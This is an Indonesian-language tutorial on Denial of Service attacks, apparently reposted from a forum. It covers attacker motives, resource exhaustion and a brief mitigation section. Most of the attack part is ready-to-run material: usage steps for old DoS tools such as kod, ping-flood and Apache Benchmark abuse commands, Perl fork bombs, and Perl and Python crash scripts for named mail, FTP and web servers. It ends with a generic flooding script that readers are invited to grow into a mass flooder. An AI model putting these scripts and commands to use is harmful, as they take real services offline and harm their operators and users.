Pada dasarnya saya mencoba memberikan gambaran umum tentang Denial of
Service atau yang lebih kita kenal dengan DoS. Beberapa pertanyaan
yang mungkin bisa terjawab diantaranya :
1. Apa itu DoS ?
2. Apa motif cracker untuk melakukan itu ?
3. Bagaimana cara melakukannya ?
4. Apa yang harus saya lakukan untuk mencegahnya ?
Semuanya untuk anda, ENJOY !!.
.o0 Apa itu Denial of Service (DoS) ?
Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis)
atau mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat
menggunakan layanan tersebut. Dampak akhir dari aktifitas ini menjurus
kepada tehambatnya aktifitas korban yang dapat berakibat sangat fatal
(dalam kasus tertentu). Pada dasarnya Denial of Service merupakan serangan
yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana
admin akan berada pada kondisi yang membingungkan antara layanan dan
kenyamanan terhadap keamanan. Seperti yang kita tahu, keyamanan berbanding
terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti
hukum ini.
Beberapa aktifitas DoS adalah:
1. Aktifitas ‘flooding’ terhadap suatu server.
2. Memutuskan koneksi antara 2 mesin.
3. Mencegah korban untuk dapat menggunakan layanan.
4. Merusak sistem agar korban tidak dapat menggunakan layanan.
.o0 Motif penyerang melakukan Denial of Service
Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif cracker
dalam melakukan Denial of Service yaitu:
1. Status Sub-Kultural.
2. Untuk mendapatkan akses.
3. Balas dendam.
4. Alasan politik.
5. Alasan ekonomi.
6. Tujuan kejahatan/keisengan.
Satatus subkultural dalam dunia hacker, adalah sebuah unjuk gigi atau lebih
tepat kita sebut sebagai pencarian jati diri. Adalah sebuah aktifitas umum
dikalangan hacker-hacker muda untuk menjukkan kemampuannya dan Denial of
Service merupakan aktifitas hacker diawal karirnya. Alasan politik dan
ekonomi untuk saat sekarang juga merupakan alasan yang paling relevan. Kita
bisa melihat dalam ‘perang cyber’ (cyber war), serangan DoS bahkan dilakukan
secara terdistribusi atau lebih dikenal dengan istilah ‘distribute Denial of
Service’. Beberapa kasus serangan virus semacam ‘code-red’ melakukan serangan
DoS bahkan secara otomatis dengan memanfaatkan komputer yang terinfeksi,
komputer ini disebut ‘zombie’ dalam jargon.Lebih relevan lagi, keisengan
merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk
mendapatkan program-program DoS, seperti nestea, teardrop, land, boink,
jolt dan vadim. Program-program DoS dapat melakukan serangan Denial of
Service dengan sangat tepat, dan yang terpenting sangat mudah untuk
melakukannya. Cracker cukup mengetikkan satu baris perintah pada Linux Shell
yang berupa ./nama_program argv argc …
.o0 Denial of Sevice, serangan yang menghabiskan resource.
Pada dasarnya, untuk melumpuhkan sebuah layanan dibutuhkan pemakaian resource
yang besar, sehingga komputer/mesin yang diserang kehabisan resource dan
manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:
A. Swap Space
B. Bandwidth
C. Kernel Tables
D. RAM
E. Disk
F. Caches
G. INETD
A. Swap Space
Hampir semua sistem menggunakan ratusan MBs spasi swap untuk melayani permintaan
client. Spasi swap juga digunakan untuk mem-’forked’ child process. Bagaimanapun
spasi swap selalu berubah dan digunakan dengan sangat berat. Beberapa serangan
Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.
B. Bandwidth
Beberapa serangan Denial of Service menghabiskan bandwidth.
C. Kernel Tables
Serangan pada kernel tables, bisa berakibat sangat buruk pada sistem. Alokasi
memori kepada kernel juga merupakan target serangan yang sensitif. Kernel
memiliki kernelmap limit, jika sistem mencapai posisi ini, maka sistem tidak
bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.
D. RAM
Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak
mau harus di re-boot.
E. Disk
Serangan klasik banyak dilakukan dengan memenuhi Disk.
F. Caches
G. INETD
Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan
bekerja.
.o0 Teknik Melakukan Denial of Service
Melakukan DoS sebenarnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan
dampak buruk terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya
adalah menutup layanan tersebut. Namun tentu saja hal ini tidak mengasikkan dan juga
tidak begitu menarik.
Kita akan bahas tipe-tipe serangan DoS.
1. SYN-Flooding
SYN-Flooding merupakan network Denial ofService yang memanfaatkan ‘loophole’
pada saat koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang
lebih baru) telah mempunyai option konfigurasi untuk mencegah Denial of
Service dengan mencegahmenolak cracker untuk mengakses sistem.
2. Pentium ‘FOOF’ Bug
Merupakan serangan Denial of Service terhadap prosessor Pentium yang
menyebabkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis
sistem operasi yang digunakan tetapi lebih spesifik lagi terhadap prosessor
yang digunakan yaitu pentium.
3. Ping Flooding
Ping Flooding adalah brute force Denial of Service sederhana. Jika serangan
dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka
mesin korban tidak dapat mengirimkan paket data ke dalam jaringan (network).
Hal ini terjadi karena mesin korban di banjiri (flood) oleh peket-paket ICMP.
Varian dari serangan ini disebut “smurfing”
([Only registered and activated users can see links. ]).
Serangan menggunakan exploits.
Beberapa hal yang harus dipahami sebelum melakukan serangan ini adalah:
A. Serangan membutuhkan Shell Linux (Unix/Comp)
B. Mendapatkan exploits di: [Only registered and activated users can see links. ] (gunakan
fungsi search agar lebih mudah)
C. Menggunakan/membutuhkan GCC (Gnu C Compiler)
1. KOD (Kiss of Death)
Merupakan tool Denial of Service yang dapat dugunakan untuk menyerang Ms.
Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini adalah
membuat hang/blue screen of death pada komputer korban.
Cara penggunaan:
A. Dapatkan file kod.c
B. Compile dengan Gcc: $ gcc -o kod kod.c
C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]
Kelemahan dari tool ini adalah tidak semua serangan berhasil, bergantung
kepada jenis sistem operasi dan konfigurasi server target (misalmya:
blocking)
2. BONK/BOINK
Bong adalah dasar dari teardrop (teardrop.c). Boink merupakan Improve dari
bonk.c yang dapat membuat crash mesin MS. Windows 9x dan NT
3. Jolt
Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt
yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet
yang tinggi sekali kepada korban.
4. NesTea
Tool ini dapat membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows
versi awal. Versi improve dari NesTea dikenal dengan NesTea2
5. NewTear
Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk
(bonk.c)
6. Syndrop
Merupakan ’serangan gabungan’ dari TearDrop dan TCP SYN Flooding. Target
serangan adalah Linux dan Windows
7. TearDrop
TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung
ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug
yang terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini
adalah Blue Screen of Death
Serangan langsung (+ 31337)
1. Ping Flood
Membutuhkan akses root untuk melakukan ini pada sistem Linux. Implementasinya
sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran.
bash # ping -fs 65000 [ip_target]
2. Apache Benchmark
Program-program Benchmark WWW, digunakan untuk mengukur kinerja (kekuatan)
suatu web server, namun tidak tertutup kemungkinan untuk melakukan
penyalahgunaan.
bash $ /usr/sbin/ab -n 10000 -c 300 \
[Only registered and activated users can see links. ]
(diketik dalam 1 baris!)
Akan melakukan 10000 request paralel 300 kepada host korban.com
3. Menggantung Socket
Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi universal
oleh Apache Software Foundation adalah MaxClients 150, yang berarti hanyak
koneksi yang diperbolehkan mengakses Apache dibatasi sebanyak 150 clients.
Jumlah ini sedikit banyak dapat berkurang mengingat browser lebih dari 1
request simultan dengan koneksi terpisah-pisah.
Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache akan
menunggu selama waktu yang ditetukan direktif TimeOut (default 5 menit).
Dengan mengirimkan request simultan yang cukup banyak penyerang akan memaksa
batasan maksimal MaxClients. Dampak yang terjadi, clien yang mengakses apache
akan tertunda dan apa bila backlog TCP terlampaui maka terjadi penolakan,
seolah-olah server korban tewas.
Script gs.pl (gantung socket)
#!/usr/bin/perl
#
# Nama Script : gs.pl
# Tipe : Denial of Service (DoS)
# Auth : MOBY || eCHo –> [Only registered and activated users can see links. ] || [Only registered and activated users can see links. ]
# URL : [Only registered and activated users can see links. ]
#
use IO::Socket;
if (!$ARGV[1]) {
print “Gunakan: perl gs.pl [host] [port] \n”;
exit;
}
for (1..1300) {
$fh{$_}=new IO::Socket::INET
PeerAddr=> “$ARGV[0]“,
PeerPort=> “$ARGV[1]“,
Proto => “tcp”
or die; print “$_\n”
}
# END. 27 Oktober 2003
# Lakukan dari beberapa LoginShell (komputer) !
DoS-ing Apache lagi !!
Beberapa contoh skrip perl untuk melakukan DoS-ing secara local.
1. Fork Bomb, habiskan RAM
#!/usr/bin/perl
fork while 1;
2. Habiskan CPU
#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i
3. Habiskan Memory
#!/usr/bin/perl
for (1..20) { fork or last }
while(++$i) { fh{$i} = “X” x 0xff; }
4. Serangan Input Flooding
Saya mengamati serangan ini dari beberapa advisories di BugTraq. Remote
Buffer Overflow yang menghasilkan segmentation fault (seg_fault) dapat
terjadi secara remote jika demon (server) tidak melakukan verifikasi input
sehingga input membanjiri buffer dan menyebabkan program dihentikan secara
paksa.
Beberapa ‘proof of concept’ dapat dipelajari melalui beberapa contoh ini.
1. Serangan kepada IISPop EMAIL Server.
Sofie : Email server
Vendor : [Only registered and activated users can see links. ]
TIPE : Remote DoS
IISPop akan crash jika diserang dengan pengiriman paket data sebesar 289999 bytes,
versi yang vuneral dan telah di coba adalah V: 1.161 dan 1.181
Script: iispdos.pl
#!/usr/bin/perl -w
#
# $0_ : iispdos.pl
# Tipe serangan : Denial of service
# Target : IISPop MAIL SERVER V. 1.161 & 1.181
# Auth : MOBY & eCHo -> [Only registered and activated users can see links. ] || [Only registered and activated users can see links. ]
# URL : [Only registered and activated users can see links. ]
#
use IO::Socket;
if (!$ARGV[0]) {
print “Gunakan: perl iispdos.pl [host] \n”;
exit;
}
# Data 289999 bytes
$buff = “A” x 289999;
print “Connecting … >> $ARGV[0] \n”;
$connect = new IO::Socket::INET (
PeerAddr=> “$ARGV[0]“,
PeerPort=> “110″,
Proto=> “tcp”) or die;
print “Error: $_\n”;
print “Connect !!\n”;
print $connect “$buff\n”;
close $connect;
print “Done \n”;
print “POST TESTING setelah serangan \n”;
print “TEST … >> $ARGV[0] \n”;
$connect = new IO::Socket::INET (
PeerAddr => “$ARGV[0]“,
PeerPort => “110″,
Proto => “tcp”) or die;
print “Done !!, $ARGV[0] TEWAS !! \n”;
print “Gagal !! \n”;
close $connect;
# END.
2. Membunuh wzdftpd.
Sofie : wzdftpd
Vendor : [Only registered and activated users can see links. ]
Proof of Concept:
% telnet 127.0.0.1 21
Trying 127.0.0.1…
Connected to localhost.novel.ru.
Escape character is ‘^]’.
220 wzd server ready.
USER guest
331 User guest okay, need password.
PASS any
230 User logged in, proceed.
PORT
Connection closed by foreign host.
% telnet 127.0.0.1 21
Trying 127.0.0.1…
telnet: connect to address 127.0.0.1: Connection refused
telnet: Unable to connect to remote host
wzdftpd crash setelah diberikan perintah/command PORT !
3. Serangan 32700 karakter, DoS BRS WebWeaver.
Sofie : BRS WebWeaver V. 1.04
Vendor : [Only registered and activated users can see links. ]
BugTraqer : euronymous /F0KP
}——- start of fadvWWhtdos.py —————{
#! /usr/bin/env python
## #!/usr/bin/python (Py Shebang, MOBY)
###
# WebWeaver 1.04 Http Server DoS exploit
# by euronymous /f0kp [[Only registered and activated users can see links. ]
########
# Usage: ./fadvWWhtdos.py
########
import sys
import httplib
met = raw_input(“”"
What kind request you want make to crash webweaver?? [ HEAD/POST ]:
“”")
target = raw_input(“Type your target hostname [ w/o
[You must be registered and logged in to see this link.] ]: “)
spl = “f0kp”*0×1FEF
conn = httplib.HTTPConnection(target)
conn.request(met, “/”+spl)
r1 = conn.getresponse()
print r1.status
}——— end of fadvWWhtdos.py —————{
Serangan diatas mengirimkan 32700 karakter yang menyebabkan server crash !
4. Buffer Overflow pada MailMAX 5
Sofie : IMAP4rev1 SmartMax IMAPMax 5 (5.0.10.8)
Vendor : [Only registered and activated users can see links. ]
BugTraqer : matrix at 0×36.org
Remote Buffer Overflow terjadi apa bila user mengirimkan input (arg) kepada command
SELECT. Dampak dari serangan ini adalah berhentiya server dan harus di-restart secara
manual.
Contoh eksploitasi:
——–[ transcript ]——-
nc infowarfare.dk 143
* OK IMAP4rev1 SmartMax IMAPMax 5 Ready
0000 CAPABILITY
* CAPABILITY IMAP4rev1
0000 OK CAPABILITY completed
0001 LOGIN “RealUser@infowarfare.dk” “HereIsMyPassword”
0001 OK User authenticated.
0002 SELECT “aaa…[256]…aaaa”
——–[ transcript ]——-
Perhatian !, contoh eksploitasi diatas menggunakan NetCat (nc), anda bisa dapatkan tool
ini pada url: [Only registered and activated users can see links. ] dengan kata kunci ‘nc’ atau ‘netcat’
Jika kita perhatikan, serangan flooding memiliki kesamaan, yaitu – tentu saja -
membanjiri input dengan data yang besar. Serangan akan lebih efektif jika dilakukan pada
komputer esekutor yang memiliki bandwidth lebar.
Dengan mempelajari kesamaan serangan, step yang dilakukan adalah:
A. Connect ke korban (host, port).
B. Kirimkan paket data dalam jumlah besar.
C. Putuskan koneksi > selesai.
Dari step diatas, kita bisa membuat sebuah skrip universal untuk melakukan serangan DoS.
Skrip ini membutuhkan 3 argumen yaitu: target_address (host/ip target), target_port (
port koneksi ke server korban), dan data (jumlah paket data yang akan dikirim).
– udos.pl –
#!/usr/bin/perl
#
# $0 : udos.pl
# Auth : MOBY & eCHo -> [Only registered and activated users can see links. ] | [Only registered and activated users can see links. ]
# URL : [Only registered and activated users can see links. ]
#
use IO::Socket;
#
if (!$ARGV[2]) {
print “Gunakan % perl udos.pl [host] [port] [data] \n”;
print “Contoh :\n”;
print “\t $ perl udos.pl 127.0.0.1 21 50000 \n”;
exit;
}
# Siapkan data
$buffer = “A” x $ARGV[2];
# Connect -> Korban
print “Connecting … -> $ARGV[0] \n”;
$con = new IO::Socket::INET (
PeerAddr=> “$ARGV[0]“,
PeerPort=> “$ARGV[1]“,
Proto=> “tcp”) or die;
print “Error: $_ \n”;
# Connect !
print “Connect !! \n”;
print $con “$buffer\n”;
close $con;
print “Done. \n”;
print “POST TESTING setelah serangan \n”;
print “TEST … >> $ARGV[0] \n”;
$connect = new IO::Socket::INET (
PeerAddr => “$ARGV[0]“,
PeerPort => “$ARGV[1]“,
Proto => “tcp”) or die;
print “Done !!, $ARGV[0] TEWAS !! \n”;
print “Gagal !! \n”;
close $connect;
# End.
– udos.pl –
Skrip sederhana diatas hanya melakukan hubungan dengan server korban,
lalu mengirimkan flood dan melakukan post testing. Dengan sedikit
pemprograman anda dapat membuat sebuah ‘Mass Flooder’ atau ‘Brute Force
Flooder’, tergantung pada kreatifitas anda !
.o0 Penanggulangan serangan Denial of Service
Sejujurnya, bagian inilah yang paling sulit. Anda bisa lihat bagaimana
mudahnya menggunaka sploits/tool untuk membekukan Ms Windows, atau
bagaimana mudahnya melakukan input flooding dan membuat tool sendiri.
Namun Denial of service adalah masalah layanan publik.Sama halnya dengan
anda memiliki toko, sekelompok orang jahat bisa saja masuk beramai-ramai
sehingga toko anda penuh. Anda bisa saja mengatasi ’serangan’ ini dengan
‘menutup’ toko anda – dan ini adalah cara paling efektif – namun jawaban
kekanak-kanakan demikian tentu tidak anda harapkan.
1. Selalu Up 2 Date.
Seperti contoh serangan diatas, SYN Flooding sangat efektif untuk membekukan
Linux kernel 2.0.*. Dalam hal ini Linux kernel 2.0.30 keatas cukup handal
untuk mengatasi serangan tersebut dikarenakan versi 2.0.30 memiliki option
untuk menolak cracker untuk mengakses system.
2. Ikuti perkembangan security
Hal ini sangat efektif dalam mencegah pengerusakan sistem secara ilegal.
Banyak admin malas untuk mengikuti issue-issue terbaru perkembangan dunia
security. Dampak yang paling buruk, sistem cracker yang ‘rajin’, ‘ulet’
dan ‘terlatih’ akan sangat mudah untuk memasuki sistem dan merusak -
tidak tertutup kemungkinan untuk melakukan Denial of Service -.
Berhubungan dengan ‘Selalu Up 2 Date’, Denial of service secara langsung
dengan Flooding dapat diatasi dengan menginstall patch terbaru dari vendor
atau melakukan up-date.
3. Teknik pengamanan httpd Apache.
+ Pencegahan serangan Apache Benchmark.
Hal ini sebenarnya sangat sulit untuk diatasi. Anda bisa melakukan
identifikasi terhadap pelaku dan melakukan pemblokiran manual melalui
firewall atau mekanisme kontrol Apache (Order, Allow from, Deny From ).
Tentunya teknik ini akan sangat membosankan dimana anda sebagai seorang
admin harus teliti.
Mengecilkan MexClients juga hal yang baik, analognya dengan membatasi
jumlah pengunjung akan menjaga toko anda dari ‘Denial of Service’.
Jangan lupa juga menambah RAM.
4. Pencegahan serangan non elektronik.
Serangan yang paling efektif pada dasarnya adalah local. Selain efektif
juga sangat berbahaya. Jangan pernah berfikir sistem anda benar-benar aman,
atau semua user adalah orang ‘baik’. Pertimbangkan semua aspek. Anda bisa
menerapkan peraturan tegas dan sanksi untuk mencegah user melakukan serangan
dari dalam. Mungkin cukup efektif jika dibantu oleh kedewasaan berfikir dari
admin dan user bersangkutan.
“KALAU AKU SEORANG ATEIS, MAKA AKAN AKU KATAKAN:
‘TEMPAT YANG PALING AMAN ADALAH PETI MATI’
TAPI TERNYATA AKU SALAH !!”